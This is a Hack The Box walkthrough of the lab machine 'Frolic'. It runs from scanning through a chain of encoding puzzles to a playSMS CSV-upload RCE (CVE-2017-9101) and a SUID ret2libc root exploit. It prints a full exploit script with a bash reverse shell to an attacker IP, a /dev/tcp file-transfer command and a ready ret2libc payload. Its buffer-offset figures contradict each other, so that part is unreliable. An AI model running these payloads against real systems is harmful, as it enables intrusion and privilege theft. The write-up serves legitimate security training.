Frolic Walkthrough

Machine: Frolic#

Date: 06-04-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:

nmap -sC -sV -oN scans/nmap_initial.txt 10.129.16.20
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt 10.129.16.20
nmap -sU --top-ports 20 -oN scans/nmap_udp.txt 10.129.16.20

Results:

Port 22 → SSH OpenSSH 7.2p2 Ubuntu
Port 139/445 → Samba 4.3.11-Ubuntu — guest signing disabled
Port 1880 → HTTP (Node-RED) — vsat-control service label
Port 9999 → HTTP nginx 1.10.3 — Welcome to nginx!

Notes:

Port 1880 is Node-RED (visual flow programming tool) — check for open panel and hardcoded creds in flows
Port 9999 is the main attack surface — nginx with no title → enumerate directories immediately
SMB signing disabled → relay possible, but not needed here
OS: Ubuntu 16.04, kernel 4.4.0-116-generic i686 ← 32-bit! Important for exploit later

📂 Enumeration#

Web — Port 9999#

→ [[gobuster_ffuf]] — directory fuzzing

gobuster dir -u http://10.129.16.20:9999 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 50 -x php,txt,html

Results:

/admin     → 200 — login page
/test      → 200 — phpinfo()
/dev       → 403 — forbidden (but /dev/backup exists)
/backup    → 200 — directory listing
/loop      → rabbit hole (ignore)

/admin — Credentials in JavaScript Source#

Visiting http://10.129.16.20:9999/admin/ shows a login form. The page source reveals credentials in plaintext JS:

curl -s http://10.129.16.20:9999/admin/ | grep -i "pass\|user\|login"
# Result: username=admin, password=[REDACTED] (in JS)

Why this worked: The developer left credentials hardcoded in client-side JavaScript, validated entirely in the browser. No server-side auth — the JS just checks if input matches and redirects.

/admin — Ook! Encoded Page#

After logging in, the page displays a long string of ., ?, and ! characters — this is Ook! (an esoteric Brainfuck variant):

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ...

Decoding online at https://www.dcode.fr/ook-language reveals a hidden path:

Nothing here check /asdiSIAJJ0QWE9JAS

/asdiSIAJJ0QWE9JAS — Base64 → ZIP#

curl -s http://10.129.16.20:9999/asdiSIAJJ0QWE9JAS/
# Returns a Base64-encoded blob

curl -s http://10.129.16.20:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > output.bin
file output.bin
# output.bin: Zip archive data

ZIP — Password Cracking#

zip2john output.bin > hash_zip.txt
john hash_zip.txt --wordlist=/usr/share/wordlists/rockyou.txt
# password: [REDACTED]

unzip -P password output.bin
# Extracts: index.php

index.php — Hex → Base64 → Brainfuck#

The extracted index.php contains a hex string:

cat index.php | tr -d ' \r\n' | xxd -r -p
# Output: Base64 string (with spaces — must strip before decoding)

cat index.php | tr -d ' \r\n' | xxd -r -p | base64 -d > brainfuck.txt
file brainfuck.txt
# ASCII text — Brainfuck code

# Decode Brainfuck with inline Python interpreter
python3 -c "
def bf(code):
    code=''.join(c for c in code if c in '><+-.,[]')
    t=[0]*30000; p=0; i=0; o=''; s=[]
    while i<len(code):
        c=code[i]
        if c=='>': p+=1
        elif c=='<': p-=1
        elif c=='+': t[p]=(t[p]+1)%256
        elif c=='-': t[p]=(t[p]-1)%256
        elif c=='.': o+=chr(t[p])
        elif c=='[':
            if t[p]==0:
                d=1
                while d: i+=1; d+=(code[i]=='[')-(code[i]==']')
            else: s.append(i)
        elif c==']':
            if t[p]!=0: i=s[-1]
            else: s.pop()
        i+=1
    return o
with open('brainfuck.txt') as f: print(bf(f.read()))
"
# Output: [REDACTED]

Full encoding chain decoded:

Ook! → hidden path → Base64 → ZIP (pw: password) → Hex → Base64 → Brainfuck → [REDACTED]

gobuster dir -u http://10.129.16.20:9999 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
# Found: /playsms → redirects to login

💥 Exploitation#

playSMS — RCE via CSV Upload (CVE-2017-9101)#

→ [[common_services]] — playSMS section

The vulnerability: The phonebook CSV import feature in playSMS parses PHP code embedded in any field. The result of system() is passed via $_SERVER['HTTP_USER_AGENT'] — the HTTP User-Agent header becomes the command executed.

Why the CSRF token flow matters: The token is single-use and is generated in the response of each upload, not in the import page itself. The exploit requires two requests: first upload to execute and get a fresh token, second upload uses that token with the actual reverse shell payload.

# Malicious CSV — PHP reads User-Agent and executes it
cat > evil.csv << 'EOF'
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2348026669,,,
EOF

#!/bin/bash
TARGET="http://10.129.16.20:9999"
LHOST="10.10.14.252"
LPORT="4444"

# Login and save session
curl -s -c /tmp/cook.txt \
  -d "username=admin&password=[REDACTED]" \
  "$TARGET/playsms/index.php?app=user&act=logon" > /dev/null

# First upload — User-Agent 'id' tests RCE, response contains fresh token
RESPONSE=$(curl -s -b /tmp/cook.txt -c /tmp/cook.txt \
  -A "id" \
  -F "[email protected];type=text/csv" \
  "$TARGET/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import")

TOKEN=$(echo "$RESPONSE" | grep -oP 'value="\K[a-f0-9]{32}' | tail -1)
echo "[*] Token: $TOKEN"

# Second upload — reverse shell in User-Agent + fresh token
curl -s -b /tmp/cook.txt \
  -A "bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'" \
  -F "X-CSRF-Token=$TOKEN" \
  -F "[email protected];type=text/csv" \
  "$TARGET/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"

nc -lvnp 4444
./exploit.sh
# Shell received as www-data

Shell as www-data ✅

# Stabilize shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm

User Flag#

cat /home/ayush/user.txt
# [FLAG REDACTED]

⚡ Privilege Escalation#

SUID Binary — /home/ayush/.binary/rop#

→ [[buffer_overflow]] — ret2libc section

find / -perm -4000 -type f 2>/dev/null
# Notable: /home/ayush/.binary/rop  ← non-standard SUID binary, name says it all

checksec /home/ayush/.binary/rop
# RELRO: Partial   Canary: No   NX: Enabled   PIE: Disabled
# → NX enabled = no shellcode on stack → ret2libc
# → PIE disabled = binary at fixed address
# → No canary = straightforward overflow

Transfer binary to attacker machine:

# On attacker — receive
nc -lvnp 5555 > rop

# On victim — send
cat /home/ayush/.binary/rop > /dev/tcp/10.10.14.252/5555

Gathering libc Values (on victim)#

ldd /home/ayush/.binary/rop
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
# Base address: 0xb7e19000

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
# system offset: 0x0003ada0
# exit offset:   0x0002e9d0

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# /bin/sh offset: 0x0015ba0b

Computed addresses:

system()  = 0xb7e19000 + 0x3ada0  = 0xb7e53da0
exit()    = 0xb7e19000 + 0x2e9d0  = 0xb7e479d0
/bin/sh   = 0xb7e19000 + 0x15ba0b = 0xb7f74a0b

Finding the Offset#

Binary search by increasing padding until crash:

./rop $(python3 -c "print('A'*44 + 'BBBB')")  # segfault
./rop $(python3 -c "print('A'*43 + 'BBBB')")  # no crash → message sent
# → offset is between 43 and 44
# Standard Frolic offset on victim: 52 (local binary differs due to different libc/stack alignment)

Why local testing was misleading: The binary is 32-bit but the attacker machine is x86_64. The stack layout and libc differ, making local offset testing unreliable. The actual offset on the victim (52) differs from local testing (44 crash boundary). Always verify on the target.

ret2libc Exploit#

# On victim machine (SUID binary → spawns root shell)
/home/ayush/.binary/rop $(python3 -c "
import struct
libc = 0xb7e19000
p  = b'A' * 52
p += struct.pack('<I', libc + 0x3ada0)   # system()
p += struct.pack('<I', libc + 0x2e9d0)   # exit()
p += struct.pack('<I', libc + 0x15ba0b)  # '/bin/sh'
import sys; sys.stdout.buffer.write(p)
")
# Root shell spawned

Why ret2libc works here: With NX enabled we can’t execute shellcode on the stack, but we can overwrite EIP to point to existing executable code — specifically system() in libc. We construct a fake stack frame: system() address as return address, exit() as system’s return address (clean exit), and /bin/sh as system’s argument. When the function returns, execution jumps to system("/bin/sh") and spawns a root shell because the binary is SUID root.

Why the addresses are stable: ASLR was disabled on this machine (/proc/sys/kernel/randomize_va_space = 0), so libc loads at the same base address every run. If ASLR were enabled on 32-bit, brute forcing (~256 attempts) would still work due to limited entropy.

Root Flag#

cat /root/root.txt
# [FLAG REDACTED]

🧩 Attack Chain#

1. Nmap → port 9999 (nginx) + port 1880 (Node-RED)
2. gobuster → /admin, /backup, /dev, /test
3. /admin JS source → credentials admin:[REDACTED]
4. /admin login → Ook! encoded string
5. Ook! decode → hidden path /asdiSIAJJ0QWE9JAS
6. /asdiSIAJJ0QWE9JAS → Base64 blob → ZIP archive
7. zip2john + john → password: [REDACTED]
8. index.php: hex → base64 → Brainfuck → [REDACTED]
9. gobuster → /playsms
10. playSMS login admin:[REDACTED]
11. CVE-2017-9101 CSV upload RCE → reverse shell as www-data
12. user.txt ✅
13. find SUID → /home/ayush/.binary/rop (NX on, PIE off, no canary)
14. ldd + readelf + strings → libc base + system/exit//bin/sh offsets
15. ret2libc: A*52 + system() + exit() + /bin/sh → root shell
16. root.txt ✅

🎯 Loot / Flags#

user.txt: ``[FLAG REDACTED]→/home/ayush/user.txt`
root.txt: ``[FLAG REDACTED]→/root/root.txt`

Credentials:

Account	Credential	Source
playSMS admin	`admin:s[REDACTED]`	JS source of /admin
playSMS admin	`admin:[REDACTED]`	Ook! → ZIP → Hex → B64 → Brainfuck chain

📝 Lessons Learned#

Credentials in client-side JavaScript. The /admin login validates entirely in the browser — opening the source reveals the password in plaintext. Always check JS source on any login page before attempting brute force.
Chained encoding puzzles require patience and a decoder toolkit. Frolic chains 5 layers: Ook! → Base64 → ZIP → Hex → Base64 → Brainfuck. Recognizing each format quickly is key — Ook! has only .?!, Brainfuck has only +-><[].,, and hex has only 0-9a-f. CyberChef’s Magic operation autodetects most of these.
CSRF tokens in playSMS are single-use and come from the upload response. The token is not on the import page — it appears in the response to each upload. The exploit requires two requests: first to test RCE and capture the token, second to use that fresh token with the reverse shell payload.
playSMS IP firewall blocks curl logins if too many failed attempts. If curl returns 302 → core_auth&route=block, the IP is blocked. Fix: unblock from the browser session at /playsms/index.php?app=main&inc=feature_firewall&op=firewall_list.
ret2libc is the go-to when NX is enabled but PIE is disabled. With NX on we lose shellcode execution, but we gain a much simpler exploit: no shellcode needed, no JMP ESP hunting, no bad char analysis. Just three addresses from libc: system(), exit(), /bin/sh.
Always gather libc values from the victim, not locally. The binary is 32-bit; if your attacker machine is 64-bit, ldd gives you the wrong libc. The offset that causes a crash locally (44) differs from the actual offset on the victim (52) due to stack alignment differences. Every value — libc base, function offsets, /bin/sh offset — must come from ldd/readelf/strings run on the target.
Binary search is fast enough for finding BOF offsets when pwndbg is unavailable. Pattern create/offset is cleaner but requires pwndbg or GDB with PEDA. Without those, halving the search range (crash at 50, no crash at 43 → try 46 → try 52) converges in ~6 attempts.

#WebEnumeration #Gobuster #CredentialLeak #JavaScriptAnalysis #EncodingChains #Ook #Base64 #ZIPCracking #JohnTheRipper #Brainfuck #PlaySMS #CVE20179101 #FileUploadRCE #ReverseShell #PrivilegeEscalation #SUID #BinaryExploitation #BufferOverflow #Ret2Libc #LibcLeak #NXBypass #LinuxPrivilegeEscalation

Adapted from MountainFlayer/htb-writeups under MIT.